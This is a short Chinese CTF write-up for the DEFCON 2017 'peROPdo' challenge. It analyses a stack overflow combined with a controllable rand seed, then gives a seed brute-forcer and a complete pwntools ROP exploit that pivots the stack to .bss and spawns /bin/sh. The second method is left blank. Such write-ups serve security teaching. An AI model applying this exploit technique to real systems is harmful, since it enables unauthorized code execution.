简单题,没简介~
分析
保护只有NX:
1 | ➜ Desktop checksec peropdo |
整个程序是静态链接的,符号信息被剥离了,使用F.L.I.R.T.
配合sig-database
可以识别出大部分库函数,整个程序两个漏洞:
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
1 | .text:08048EB0 push ebp |
由于种子可以控制,则可以轻易控制在某特定次的值,由于此处存在栈溢出,可以控制返回地址处的值。
利用
有两种利用方法,如下:
方法一
最简单的方法,使用scanf把rop写在bss上,再使用栈溢出控制ebp迁移栈到bss,只需要注意scanf的坏字符:0x09,0x0a,0x0b,0x0c,0x0d,0x20
- 使用爆破得到一个gname之后的bss的地址:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int main(){
unsigned int buffer=0x80ECFC0;
unsigned int number[24];
unsigned int count=0;
for(unsigned int i=0; i <=0xffffffff; i++){
srand((unsigned char*)i);
for(int j=0; j<24; j++){
number[j]=random();
}
if(0x80ECFC0 <= number[22] && number[22] < 0x80ed040){
printf("seed : %u\t",i);
printf("number[22]: %08x\n",number[22]);
//break;
}
}
} - 利用代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'i386'
p = process('./peropdo')
def sla(a,b):
p.sendlineafter(b,a)
def sa(a,b):
p.sendafter(b,a)
padding = 0x80ecfed - 0x080ECFC0
seed = 76200282
popEaxRet = 0x080e3525
popEbxRet = 0x080481c9
popEcxRet = 0x080e5ee1
popEdxRet = 0x0806f2fa
incEaxRet = 0x080e8da7
int80 = 0x08049551
ebxRet = 0x080ECFC0 + 0x04 + padding + 12*4
payload = p32(seed) +'a'*padding +flat([popEbxRet,ebxRet,
popEcxRet,0,
popEdxRet,0,
popEaxRet,8,
incEaxRet,incEaxRet,incEaxRet,
int80]) + '/bin/sh\0'
for i in [0x09,0x0a,0x0b,0x0c,0x0d,0x20]:
if chr(i) in payload:
print 'cuola!'
exit(0)
#gdb.attach(p,'''
# b *0x08048FCF
# continue
# ''')
sla(payload , 'name?')
sla('23','roll?')
sla('n','again?')
p.interactive()方法二
……………
结果
参考
[0] https://www.lazenca.net/pages/viewpage.action?pageId=1147550
[1] https://github.com/zj3t/ctf/tree/master/defcon2017/peROPdo
[2] http://asiagaming.tistory.com/110
[3] https://bamboofox.github.io/write-ups/2017/05/03/DEFCON-CTF-2017-Quals-peROPdo.html